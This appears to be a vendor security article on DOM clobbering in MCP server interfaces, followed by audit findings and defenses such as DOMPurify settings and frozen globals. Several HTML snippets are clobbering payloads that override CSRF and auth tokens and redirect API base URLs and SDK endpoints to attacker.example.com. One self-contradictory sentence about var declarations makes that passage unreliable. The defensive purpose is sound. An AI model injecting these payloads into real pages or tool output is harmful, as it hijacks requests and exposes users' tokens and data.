MCP server security · DOM Clobbering · id attribute · global variable override · CSRF bypass

MCP server DOM Clobbering security — id attribute overrides global variables, CSRF token bypass

DOM Clobbering is a technique where HTML elements with predictable id or name attributes silently replace global JavaScript variables. An element with id="csrfToken" does not just add an element to the DOM — it also sets window.csrfToken to that HTML element reference, replacing any JavaScript global with the same name. MCP tool output rendered in the main document can inject clobbering elements to replace CSRF tokens, API URLs, and SDK configuration objects with attacker-controlled HTML elements, causing the application to read incorrect values and bypass security controls.

How DOM Clobbering works

The HTML specification mandates that elements with id attributes are reflected as named properties on the window object. In any browser, document.getElementById('foo') and window.foo (when no JS variable named foo exists) both refer to the same element. This "named property access" feature was designed for legacy code that relied on bare global names to reference form elements and anchors.

The attack is that this reflection happens automatically when the element is inserted into the DOM — regardless of how it got there. If MCP tool output injects <img id="csrfToken"> and the application later reads window.csrfToken expecting a string token value, it receives an HTMLImageElement instead. Depending on how the code uses the token, this can silently replace the CSRF token with an empty string (when coerced to string), an object reference (when passed to a function), or a truthy value (when used in an if-check).

// Legitimate application code that runs after MCP tool output is rendered:
const token = window.csrfToken; // developer expects: "a8f3b2c1..."
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': token }, // sends: "[object HTMLImageElement]"
  body: JSON.stringify({ to: 'attacker', amount: 5000 })
});
// Server receives X-CSRF-Token: [object HTMLImageElement]
// If the server's CSRF check uses a loose comparison or is absent for this endpoint,
// the request proceeds with a clobbered token string.

Clobbering works even if var/let/const was already declared: var csrfToken = "real-token" declared before the element is inserted will NOT be clobbered — var declarations shadow the named property. The attack targets code paths where the global is read via bare window.csrfToken, where the variable is assigned from window after element insertion, or where the code relies on named property access explicitly (e.g., window['csrfToken']). Many legacy codebases and some modern frameworks use this pattern for configuration objects.

Single-level clobbering: id attribute overrides window.name

Any element with an id attribute creates a named property on window. Common targets in MCP server UIs:

<!-- MCP tool output that clobbers window.csrfToken -->
<img id="csrfToken" src="x" onerror="0">

<!-- window.csrfToken is now an HTMLImageElement
     toString() returns "[object HTMLImageElement]"
     Used as a CSRF header value, this bypasses token validation if the server
     accepts any non-empty string or compares loosely -->

<!-- Clobber API base URL -->
<a id="apiBaseUrl" href="https://attacker.example.com"></a>
<!-- window.apiBaseUrl.toString() returns "https://attacker.example.com"
     window.apiBaseUrl.href returns "https://attacker.example.com"
     fetch(window.apiBaseUrl + '/users') now sends requests to attacker server -->

<!-- Clobber auth token -->
<input id="authToken" value="attacker-controlled-value">
<!-- window.authToken.value returns "attacker-controlled-value"
     If application reads window.authToken.value for Bearer token, attacker controls it -->

Two-level clobbering: anchor id+name creates nested objects

An <a> element with both id and name attributes creates a two-level namespace in window. The HTML specification defines that when a named form or anchor element has both id and name, the id creates a named property collection at window.id, and the name attribute indexes into it. This allows clobbering window.config.apiUrl using a single anchor element:

<!-- Two-level clobbering: overrides window.config.apiUrl -->
<a id="config" name="apiUrl" href="https://attacker.example.com/api"></a>

<!-- Result:
  window.config is now an HTMLCollection (because the anchor has id="config")
  window.config.apiUrl returns the anchor element (because name="apiUrl")
  window.config.apiUrl.href returns "https://attacker.example.com/api"

  If application does: fetch(window.config.apiUrl + '/data')
  It now fetches from: "https://attacker.example.com/api/data"
  All API calls are redirected to the attacker server -->

<!-- Another example: clobber window.sdk.endpoint -->
<a id="sdk" name="endpoint" href="https://attacker.example.com/collect"></a>
<!-- window.sdk.endpoint.href = "https://attacker.example.com/collect"
     SDK initialization code that reads window.sdk.endpoint sends all telemetry
     and API calls to the attacker's collection endpoint -->

Clobbering DOMPurify's own configuration

A sophisticated clobbering target is the sanitizer configuration itself. If an application stores its DOMPurify configuration or allowlist in a global variable and that variable is read after tool output insertion, the clobbered value can weaken the sanitizer for subsequent injections:

<!-- Clobber the sanitizer config object -->
<a id="sanitizerConfig" name="ALLOWED_TAGS"></a>

<!-- If application does: const config = window.sanitizerConfig;
     DOMPurify.sanitize(nextOutput, config);
     Then config.ALLOWED_TAGS is the anchor element, not an array
     DOMPurify may fall back to default permissive config on the next call -->

SkillAudit findings: DOM Clobbering in MCP server audits

HIGH −18
MCP tool output rendered in main document without DOMPurify SANITIZE_DOM: true — elements with id matching known globals (csrfToken, authToken, apiBaseUrl) can clobber security-critical window properties
HIGH −16
Application configuration object stored in window global (window.config, window.appConfig, window.settings) — two-level anchor clobbering can redirect API base URLs and SDK endpoints to attacker-controlled servers
MEDIUM −10
CSRF token read via window.csrfToken or bare global name after DOM insertion — clobbering converts token to HTMLElement string representation, bypassing token validation on servers with loose comparison
LOW −4
Predictable static IDs on sensitive DOM elements — known IDs allow popovertarget and DOM Clobbering attacks; UUID-based runtime IDs prevent both

Defenses

DOMPurify SANITIZE_DOM: true

DOMPurify has a built-in DOM Clobbering defense controlled by the SANITIZE_DOM option. When enabled (it is enabled by default in DOMPurify ≥ 2.x), DOMPurify strips id and name attributes from elements where they match a known dangerous pattern — specifically element names that would clobber browser built-in globals. However, it cannot know which application-specific globals (csrfToken, authToken, config) are used by your code, so additional defenses are needed:

// DOMPurify with SANITIZE_DOM enabled (this is the default, verify it is not disabled)
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(mcpToolOutput, {
  SANITIZE_DOM: true, // explicitly enabled (default) — strips id/name that clobber builtins
  // Additional: strip ALL id attributes from tool output to prevent any clobbering
  // (this removes the attack surface entirely at the cost of not preserving IDs)
  FORBID_ATTR: ['id', 'name'],
  FORCE_BODY: true,
});

Object.freeze() critical globals at application startup

Globals that must not be overridden can be frozen before any tool output is rendered. Object.freeze() prevents assignment to the object's properties; a non-configurable, non-writable property on window cannot be overridden by named property reflection:

// At app startup, before any MCP tool output is rendered:
// Freeze the CSRF token — named property access cannot override a non-configurable property
Object.defineProperty(window, 'csrfToken', {
  value: document.querySelector('meta[name="csrf-token"]').content,
  writable: false,
  configurable: false,
  enumerable: false // hide from property enumeration
});

// Freeze the config object itself AND its properties
const appConfig = Object.freeze({
  apiBaseUrl: 'https://api.skillaudit.dev',
  sdkEndpoint: 'https://sdk.skillaudit.dev',
  // ... other config
});
Object.defineProperty(window, 'appConfig', {
  value: appConfig,
  writable: false,
  configurable: false,
});

// Now: window.appConfig.apiBaseUrl === 'https://api.skillaudit.dev' even after
// <a id="appConfig" name="apiBaseUrl" href="https://attacker.com"> is injected

Read globals before rendering tool output

The simplest mitigation for code that cannot be refactored: capture all required global values into local variables before any MCP tool output is inserted into the DOM. Named property access only applies to reads from window after the element is in the DOM — a local variable captured before insertion is not affected:

// Safe: capture before tool output is rendered
const csrfToken = window.csrfToken; // captured as string before any injection
const apiBase = window.appConfig.apiBaseUrl; // captured before injection

// Now render tool output (potentially clobbering window.csrfToken, window.appConfig)
renderToolOutput(sanitizedHtml);

// Use the captured values, not window.csrfToken — not affected by clobbering
await fetch(apiBase + '/api/action', {
  headers: { 'X-CSRF-Token': csrfToken }
});

SkillAudit's audit engine checks MCP server tool output for elements with id and name attributes that match known global variable patterns and flags DOMPurify configurations that disable SANITIZE_DOM. Run a free audit to check your MCP server's DOM Clobbering exposure.